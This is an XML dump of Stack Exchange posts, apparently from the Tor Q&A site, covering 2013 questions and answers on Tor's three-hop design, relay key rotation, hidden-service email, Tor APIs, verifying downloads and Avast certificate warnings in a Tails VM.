  <row Id="497" PostTypeId="2" ParentId="491" CreationDate="2013-10-13T07:02:35.493" Score="12" Body="&lt;p&gt;Maybe think of it as a defense in depth idea.  If you only have two hops, and your adversary owns or watched your exit node, they immediately know which other node to compromise to get you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That single node is a particularly high-value target since you'll be using your guard node for a while, so maybe it's worth investing some resources to be able to watch that.  Due to the middle hop this equation changes slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now of course the next question is &quot;why not four&quot;?  At some point adding more nodes just increases latency and doesn't add that much security.  And some attacks don't care how often and long you bounce around within the Tor cloud anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just seems that three is a good compromise, or as Roger put it &quot;3 is a good number of anonymity&quot;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-13T07:02:35.493" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="498" PostTypeId="1" CreationDate="2013-10-13T07:33:29.863" Score="4" ViewCount="566" Body="&lt;p&gt;I have download latest &lt;a href=&quot;https://git.torproject.org/tor.git&quot; rel=&quot;noreferrer&quot;&gt;source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I must to change default hard-coded 9 nodes and default ports 9001,9030 only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much nodes should I setup around the world for small group of confederates?&lt;/p&gt;&#xA;" OwnerUserId="359" LastEditorUserId="359" LastEditDate="2013-10-14T07:11:55.893" LastActivityDate="2013-10-14T07:11:55.893" Title="I want to setup my own Tor implemintation, what should I take for?" Tags="|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="499" PostTypeId="1" CreationDate="2013-10-13T07:48:32.930" Score="3" ViewCount="1241" Body="&lt;p&gt;I'm about an idea, &lt;strong&gt;onion routing&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there a secret or governments or a half-secret projects with similar technology?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;https://www.fbo.gov/index?s=opportunity&amp;amp;mode=form&amp;amp;id=72b1394a8dfb088886588067f70a27b8&amp;amp;tab=core&amp;amp;_cview=1&quot; rel=&quot;nofollow&quot;&gt;DARPA-BAA-10-69&lt;/a&gt; is a project called &quot;SAFER&quot; (May 20, 2010).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The goal of the Safer Warfighter Communications (SAFER) program is to&#xA;  develop technology that will enable safe, resilient communications&#xA;  over the Internet, particularly in situations in which a third-party&#xA;  is attempting to discover the identity or location of the end users,&#xA;  or block the communication.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it a fork of earlier(Navy's) version of Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any fork of Tor? For example Navy's version. Or Navy use a &lt;a href=&quot;https://www.torproject.org&quot; rel=&quot;nofollow&quot;&gt;torproject.org&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="359" LastEditorUserId="359" LastEditDate="2013-10-15T10:03:53.217" LastActivityDate="2013-10-15T13:28:37.517" Title="How many Tor-like networks are around?" Tags="|onion-routing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="500" PostTypeId="2" ParentId="495" CreationDate="2013-10-13T08:53:59.210" Score="2" Body="&lt;p&gt;Whenever one sets up a hidden service, he/she has to be aware of the configuration of the software he/she uses and if that software is trustworthy or has any known vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;https://www.apache.org/server-status&quot; rel=&quot;nofollow&quot;&gt;Apache's server status&lt;/a&gt; can reveal information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SQL injections can happen on websites that a vulnerable to such attacks and hidden-services are no exception. If any component, an adversary can talk to, either directly or indirectly, knows the hidden-service's IP address it can reveal it, either by sending it over Tor or by bypassing Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any software in use can have vulnerabilities that could be exploited by someone crack a hidden-service's anonymity.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-10-13T08:53:59.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="501" PostTypeId="1" CreationDate="2013-10-13T09:36:57.680" Score="4" ViewCount="466" Body="&lt;p&gt;Reading user329's question about &lt;a href=&quot;https://tor.stackexchange.com/questions/465/is-it-possible-to-run-a-secure-email-network-using-smtp-over-tor&quot;&gt;running a secure email network using SMTP over Tor&lt;/a&gt;, I was wondering how standard email transport could be implemented among hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then I remembered anoNet. &lt;a href=&quot;https://en.wikipedia.org/wiki/AnoNet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt; says: &quot;anoNet is a decentralized friend-to-friend network built using VPNs and software BGP routers. anoNet works by making it difficult to learn the identities of others on the network allowing them to anonymously host IPv4 and IPv6 services.&quot; However, if the underlying VPNs are routed through the Internet, there's little or no anonymity involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would arguably be possible to create anoNet-style darknets based on Tor, comprising networks of Tor hidden services, linked by TCP-based VPN or OnionCat tunnels. Given such networks, implementing any Internet service would be trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If such systems were implemented, would the networking overhead be unworkably large?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such systems would facilitate high-throughput abuse of Tor. How could that threat be mitigated?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-10-24T20:03:04.867" Title="Would anoNet-style darknets of Tor hidden services be workable?" Tags="|onion-services|vpn|onioncat|darknet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="504" PostTypeId="1" CreationDate="2013-10-13T11:27:49.100" Score="8" ViewCount="541" Body="&lt;p&gt;About 30-50% of the times I run tails in a vm my avast pops up a notice on the host complaining about some problem with a certificate. The sites, however, do not seem to exist and the url looks more or less random. This never happens when I start another vm or during my normal PC usage only when I use tails(and then also not in each case). Imho this looks quite fishy. I'm wondering how it is even possible for avast to somehow analyse the traffic from the vm. Attached is an image of the report. &lt;img src=&quot;https://i.stack.imgur.com/lBpTq.jpg&quot; alt=&quot;avast tails vm&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="362" LastEditorUserId="923" LastEditDate="2014-03-02T22:37:15.680" LastActivityDate="2014-03-02T22:37:15.680" Title="Why do I get an avast notice on my host (!) machine when I run tails in a virtual machine?" Tags="|tails|virtual-machine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="511" PostTypeId="1" AcceptedAnswerId="516" CreationDate="2013-10-13T14:42:55.913" Score="9" ViewCount="112" Body="&lt;p&gt;I'm on Debian-like OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directory &lt;code&gt;/var/lib/tor/keys/&lt;/code&gt; contains &lt;code&gt;secret_id_key&lt;/code&gt; and &lt;code&gt;secret_onion_key&lt;/code&gt; RSA keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would my relay work the same with &lt;strong&gt;5Mb/s&lt;/strong&gt; of bandwidth if I remove these keys each reboot, simply by &lt;code&gt;/etc/rc.local&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rm /var/lib/tor/keys/*&#xA;service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Say, I will start the relay fresh each time I boot. Am I losing any bounties from network like guard, etc...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will my bandwidth been used in the past be the same? E.g. When rebooting everyday.&#xA;Or does warming-up of a new relay required more than 7 days?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I clean anything else?&lt;/p&gt;&#xA;" OwnerUserId="359" LastEditorUserId="131" LastEditDate="2013-10-26T16:20:51.863" LastActivityDate="2013-10-26T16:20:51.863" Title="Would relay with temporary keys live the same great as with constant keys?" Tags="|relays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="513" PostTypeId="2" ParentId="465" CreationDate="2013-10-13T18:46:13.240" Score="5" Body="&lt;p&gt;SMTP can perform well over a hidden service, in fact there are providers that offer such a thing. SMTP, IMAP and POP, the email protocols are TCP based and since Tor offers a base for TCP connections, every TCP based protocol can operate on top of it. Using SMTP over Tor could anonymize some valuable identity information in email's headers, but email headers can be stripped down in the first place even without using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden services could be used for email-like applications, for example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dee.su/cables&quot;&gt;Cable Communication&lt;/a&gt;, firstly implemented for &lt;a href=&quot;http://dee.su/liberte&quot;&gt;Liberte Linux&lt;/a&gt; is an email-like application that uses .onion addresses so as users can communicate. Of course Cables doesn't use SMTP protocol at all, which is not that bad since SMTP and many other wide used internet protocols were not designed with anonymity integration in the first place. &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-10-13T18:46:13.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="514" PostTypeId="2" ParentId="498" CreationDate="2013-10-13T19:08:28.263" Score="5" Body="&lt;p&gt;You can use the DirServer configuration option to point at your own directory authorities. The man page describes what the arguments are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good way to learn about how to run your own network is to use &lt;a href=&quot;https://gitweb.torproject.org/chutney.git&quot;&gt;Chutney&lt;/a&gt; to set up a small network on your local machine and look at how the configuration is done there. Beware that Chutney sets configuration option TestingTorNetwork which makes the network less secure. You might not want that on your own network with real traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The anonymity of a Tor network is partly a function of the number of relays -- more relays give better anonymity. The number and type of users are other factors.&lt;/p&gt;&#xA;" OwnerUserId="142" LastActivityDate="2013-10-13T19:08:28.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="515" PostTypeId="2" ParentId="504" CreationDate="2013-10-13T19:11:35.553" Score="0" Body="&lt;p&gt;The vm is going to exist as a directory on your host machines hdd. So I imAgine avast is somehow configured to scan it.   Not sure what kind of encryption your vm has but I wonder if that's messing with the site and cert info that avast is reading and you're getting false positives?&lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2013-10-13T19:11:35.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="516" PostTypeId="2" ParentId="511" CreationDate="2013-10-13T22:29:11.107" Score="8" Body="&lt;p&gt;The blog post »&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot;&gt;The lifecycle of a new relay&lt;/a&gt;« is helpful for your question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A new relay, assuming it is reliable and has plenty of bandwidth, goes through four phases: the unmeasured phase (days 0-3) where it gets roughly no use, the remote-measurement phase (days 3-8) where load starts to increase, the ramp-up guard phase (days 8-68) where load counterintuitively drops and then rises higher, and the steady-state guard phase (days 68+).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you reboot every day and remove the keys on this basis your relay is a new relay after every reboot. So initially you will see a low amount of traffic. While you can do some steps to improve this, I guess this relay will not be very helpful for the network as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore there is quite a good chance that somebody notices the high rate of key rotation. I guess this will raise some questions and maybe lead to the fact that some people will distrust your relay.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-13T22:29:11.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="517" PostTypeId="1" AcceptedAnswerId="519" CreationDate="2013-10-14T00:07:45.720" Score="14" ViewCount="1318" Body="&lt;p&gt;What is the current state of porting the TBB from Firefox to Chromium?  Several years back the Tor Project blog mentioned work by the Chromium developers to implement the needed APIs; since then, nothing.  Chromium seems to be far more advanced than Firefox in many respects: it has process separation, full sandboxing, and generally robust security.  The Chromium Project is open-source, and therefore arguably safe from government interference and backdoors, and user tracking should be a simple matter to remove. The blog post claimed that a good deal of work had been done to this effect, and that if the APIs were completed, the functionality would in fact be much simpler to implement than in Firefox. Also, with Opera now based on Chromium, it would seem that working on a Chromium bundle would make porting to Opera, SRWare Iron, and &lt;a href=&quot;http://www.howtogeek.com/108384/6-alternative-browsers-based-on-google-chrome/&quot;&gt;many&lt;/a&gt; &lt;a href=&quot;http://businesstoday.intoday.in/story/alternative-to-google-chrome-chromium-based-browsers/1/197872.html&quot;&gt;others&lt;/a&gt; simple.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Has this work stalled?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If so, why?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any chance it will continue?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.torproject.org/blog/google-chrome-incognito-mode-tor-and-fingerprinting&quot;&gt;https://blog.torproject.org/blog/google-chrome-incognito-mode-tor-and-fingerprinting&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.torproject.org/blog/improving-private-browsing-modes-do-not-track-vs-real-privacy-design&quot;&gt;https://blog.torproject.org/blog/improving-private-browsing-modes-do-not-track-vs-real-privacy-design&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;UPDATE:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reviewed the link mrphs provided and done some research.  It seems that of the five blocking issues listed, most are obsolete, fixed, or on the way there, and only one major problem remains for which there is no workaround.  It would be nice to see the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ImportantGoogleChromeBugs&quot;&gt;Chrome bug list&lt;/a&gt; reviewed for updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;UPDATE:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://code.google.com/p/chromium/issues/detail?id=80722&quot;&gt;conversation&lt;/a&gt; around that last major problem, a custom Chrome build would make it feasible.  It seems that the Tor Project is waiting until they can make an extension-only version of TorButton for Chrome, rather than a fully custom fork like Firefox.  Interesting thought: if something this simple became possible for Chrome, would Firefox be dumped?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, progress is happening, but largely stuck on a few issues.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-10-15T12:03:58.603" LastActivityDate="2013-10-15T12:03:58.603" Title="Chromium browser bundle" Tags="|tor-browser-bundle|firefox|development|browsers|chrome|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="519" PostTypeId="2" ParentId="517" CreationDate="2013-10-14T06:38:11.680" Score="10" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;... and user tracking should be a simple matter to remove.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's the tricky part. It's rather impossible than simple.&#xA;There are several fingerprinting and privacy related bugs which seem to be impossible to patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more detailed info see: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ImportantGoogleChromeBugs&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/ImportantGoogleChromeBugs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2013-10-14T06:58:25.743" LastActivityDate="2013-10-14T06:58:25.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="520" PostTypeId="2" ParentId="465" CreationDate="2013-10-14T16:03:13.253" Score="4" Body="&lt;p&gt;Johannes Berg experimented with configuring the Exim MTA to send mail to .onion addresses, and has written a whitepaper on the subject; see &lt;a href=&quot;http://johannes.sipsolutions.net/Projects/exim-tor-hidden-mail&quot;&gt;http://johannes.sipsolutions.net/Projects/exim-tor-hidden-mail&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2013-10-14T16:03:13.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="521" PostTypeId="1" AcceptedAnswerId="522" CreationDate="2013-10-14T16:10:56.170" Score="6" ViewCount="4838" Body="&lt;p&gt;I want to have a program I'm writing interact with the Internet exclusively through Tor. After perusing the Tor project's documentation it appears that they do not specify the API anywhere i.e. how a program can talk to Vidalia to access the Internet through Tor. This is much talk about proxies but I don't care about that approach. I don't want to have the option of using the Internet without Tor. I only want to use Tor. Where is the API? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="378" LastEditorUserId="131" LastEditDate="2013-10-15T19:16:06.740" LastActivityDate="2016-09-08T04:34:42.207" Title="Where is the Tor API documentation?" Tags="|onion-routing|attacks|support|outreach|protocol|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="522" PostTypeId="2" ParentId="521" CreationDate="2013-10-14T16:32:44.387" Score="6" Body="&lt;p&gt;To have your program use the Internet through Tor, just teach it to use Tor as a SOCKS4a or a SOCKS5 proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Wikipedia page on &lt;a href=&quot;https://en.wikipedia.org/wiki/SOCKS&quot;&gt;SOCKS&lt;/a&gt; should have the information you need.&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2013-10-14T16:32:44.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="523" PostTypeId="2" ParentId="521" CreationDate="2013-10-14T17:05:50.500" Score="5" Body="&lt;p&gt;While nickm's answer of &quot;Use SOCKS, that's what it's there for&quot; is correct, I think you might be asking the wrong question. If you want to get information about other aspects of Tor, but don't want to perform queries, implement SOCKS, etc. yourself, you can always use one of the existing libraries. In Python, for instance, you can use &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're wanting to control Tor yourself, you can read up on the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/control-spec.txt&quot; rel=&quot;nofollow&quot;&gt;control protocol&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've marked this answer CW; if anyone knows other API's designed for interacting with Tor please list them below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Python:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://txtorcon.readthedocs.org/&quot; rel=&quot;nofollow&quot;&gt;Txtorcon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/pytorctl.git&quot; rel=&quot;nofollow&quot;&gt;TorCtl&lt;/a&gt; (Deprecated in favor of Stem)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Java:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/guardianproject/jtorctl&quot; rel=&quot;nofollow&quot;&gt;JTorCtl&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://subgraph.com/orchid/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Orchid&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="13768" LastEditDate="2016-09-08T04:34:42.207" LastActivityDate="2016-09-08T04:34:42.207" CommentCount="4" CommunityOwnedDate="2013-10-14T17:05:50.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="524" PostTypeId="1" CreationDate="2013-10-14T17:23:13.540" Score="10" ViewCount="769" Body="&lt;p&gt;When I go to &lt;a href=&quot;https://www.torproject.org/download/download.html&quot;&gt;https://www.torproject.org/download/download.html&lt;/a&gt; to download the Tor Browser for Windows, how can I be sure that the package I'm downloading is genuine, and hasn't been tampered with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are all the things that I'll need to download to safely verify Tor? Once I've downloaded those things, what are the steps that I need to take to verify everything, and what will let me know that I've done the verification right? Are there any other steps that I can take to make extra certain that nothing has been tampered with? Finally: once I've downloaded everything and verified it once, will things be any easier or have fewer steps when I go to update my Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2013-10-15T19:16:14.083" Title="How should I verify Tor downloads?" Tags="|tor-browser-bundle|security|client|bootstrapping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="525" PostTypeId="1" CreationDate="2013-10-14T17:28:21.470" Score="6" ViewCount="1236" Body="&lt;p&gt;I want to download and use Tor, but something isn't working. I don't want to describe my situation or my problem in public, using IRC or on Stack Exchange. Is there any way that I can get private help from the Tor Project?&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2017-07-08T21:48:20.937" Title="How can I get help with Tor?" Tags="|support|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="526" PostTypeId="1" CreationDate="2013-10-14T17:34:11.403" Score="3" ViewCount="2794" Body="&lt;p&gt;I have reason to believe that I my status or activities place me at particular risk. I would like to do everything that I can to keep safe while using Tor. I think that I should get a dedicated computer, but I don't know how to set it up, or stay safe while using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the things that an at-risk person like me should do to set up a particularly safe computer to use Tor on? Are there any risks that I should remain aware of, of that this setup won't protect me from? Are there any things that I should make sure always/never to do when using a setup like this?&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2013-10-15T12:28:06.710" Title="What is the overall safest way to use Tor?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="527" PostTypeId="1" CreationDate="2013-10-14T17:41:58.080" Score="5" ViewCount="382" Body="&lt;p&gt;I've heard of &lt;a href=&quot;https://www.torservers.net/&quot;&gt;Torservers&lt;/a&gt; and &lt;a href=&quot;http://noisetor.net/&quot;&gt;Noisetor&lt;/a&gt;. I've considered donating to them, but I want to avoid consolidating the Tor network in those two organizations, so I'd like to operate my own Tor node. (I also think it might be more interesting and educational to run my own node than just to donate every month).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure that my node is as useful to the Tor network as possible? Are there steps that I should take to make its network contribution more useful? Are there things that I can do to make my node more secure? Are there things I can do to make it less likely that someone will try (or succeed) at taking down my Tor node? Are there things that I should definitely make sure not to do when running my node?&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2020-03-27T02:54:05.687" Title="How can I set up the most useful Tor node?" Tags="|relays|security|exit-relays|configuration|exit-policies|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="528" PostTypeId="2" ParentId="524" CreationDate="2013-10-14T17:54:00.317" Score="6" Body="&lt;p&gt;All the downloads are &quot;signed&quot;. This means that someone (in this case Erinn, a Tor Project Developer) vouches that the software is good and hasn't been tampered with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify the download by also downloading the signature file, and using GPG to check that the signature is valid for the downloaded file, and that they were signed by Erinn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More detailed instructions can be found &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/verifying-signatures.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question of how you can trust the signature is in two parts. Firstly Erinn's key has been signed by many people who claim to know Erinn. You could also go to a real-world event where Tor Developers are present, and ask them to verify that your copy of Erinn's key is legitimate. Many of the Tor Developers have signed Erinn's key with theirs, so having them confirm their own keys for you will help you build a web of trust. Secondly the Tor Website serves downloads over HTTPS, preventing modification in transit, unless you are being actively attacked by someone with the power to get illegitimate SSL Certificates issued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the Tor Browser Bundle, updating should use the same process of verifying signatures. Whether you download the update over Tor or not is up to you, but verify everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, there are things called &quot;Reproducible Builds&quot; that are being worked on, and eventually you'll be able to create your own version of the Tor Browser Bundle from scratch, and be able to verify that it matches the version that everyone else has obtained. Further details on that can be found in this blog post &lt;a href=&quot;https://blog.torproject.org/blog/deterministic-builds-part-one-cyberwar-and-global-compromise&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/deterministic-builds-part-one-cyberwar-and-global-compromise&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2013-10-15T19:16:14.083" LastActivityDate="2013-10-15T19:16:14.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="529" PostTypeId="2" ParentId="525" CreationDate="2013-10-14T17:57:45.207" Score="3" Body="&lt;p&gt;The Tor Project have &quot;private&quot; support options available that include E-Mail, Telephone and SMS. Further details can be found on their website.&#xA;&lt;a href=&quot;https://www.torproject.org/about/contact.html.en#support&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/about/contact.html.en#support&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note however, that with E-Mail you're trusting people along the email route (including both ISPs), as Tor don't post any kind of PGP key to encrypt your message with. Telephone and SMS also have similar risks with telephone companies reading/listening to your commuication.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-14T17:57:45.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="530" PostTypeId="2" ParentId="504" CreationDate="2013-10-14T18:03:18.600" Score="7" Body="&lt;p&gt;The Tor client uses TLS to encrypt connections between clients and relays, as well as between relays. TLS was selected primarily because it is standardised, well analysed and offers reasonable security. An added benefit however is that TLS is used in HTTPS for encrypted web browsing so Tor traffic is tricky to distinguish from HTTPS. While many networks might be happy to censor Tor traffic, they will think twice before blocking all HTTPS. For this reason, Tor's use of TLS tries to emulate HTTPS web browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like HTTPS web servers, Tor relays need to provide a certificate. For websites this certificate would contain the site's domain name and will be generally signed by a commercial certification authority (CA), who will charge for signing this certificate. Tor relays however might not have a domain name, and there is no need for a CA to sign the certificate because the Tor directory authorities already sign the relays' public keys which in turn sign the public key in the TLS certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Tor relays generate a certificate for a random domain name (to see how, look at the code in &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/17c24b3118224d6536c41fa4e1493a831fb29f0a:/src/common/crypto.c#l2453&quot;&gt;&lt;code&gt;crypto_random_hostname&lt;/code&gt;&lt;/a&gt;). This domain name will be visible to anyone scanning your network traffic (it is not encrypted), and it looks like this is what Avast is doing. You are seeing a strange domain name for the certificate and because the certificate is not signed by any CA which Avast knows about, you are getting a warning message. Avast will not however be able to look inside the encrypted traffic because it does not have access to the keys of the web browser in the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So although it looks fishy, this is just your Tor client communicating as normal. Avast is confusing Tor traffic with HTTPS, but that is exactly what Tor is trying to do. HTTPS traffic where the server certificate is not signed by a well-known CA may be indicative of a man in the middle attack, but it is perfectly OK for Tor traffic to not be signed by any CA. I don't know enough about Avast to suggest how to disable this behaviour, but it is safe to ignore it.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-10-14T18:03:18.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="531" PostTypeId="2" ParentId="525" CreationDate="2013-10-14T18:09:18.243" Score="1" Body="&lt;p&gt;The Tor Project FAQ answers many common questions: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, this answer may help: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#GetTor&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#GetTor&lt;/a&gt; .  As mentioned in that answer, you may also email gettor@gettor.torproject.org from a gmail account (or other popular, https-supporting webmail provider which also allows for larger (25MB) attachments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This webpage: &lt;a href=&quot;https://www.torproject.org/about/contact.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/about/contact.html.en&lt;/a&gt; has a variety of contact options for you beyond those you mention.  In case you don't have access to that site; the best account to email is help@rt.torproject.org .  Again, doing so from an email provider with HTTPS support turned on is advisable, and you may (wisely) consider email as public as IRC in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW: you can also email help-ar, help-es, help-fa, help-fr or help-zh for language-specific support in ARabic, ESpañol, FArsi, FRench or Mandarin Chinese (ZH)&lt;/p&gt;&#xA;" OwnerUserId="30" LastActivityDate="2013-10-14T18:09:18.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
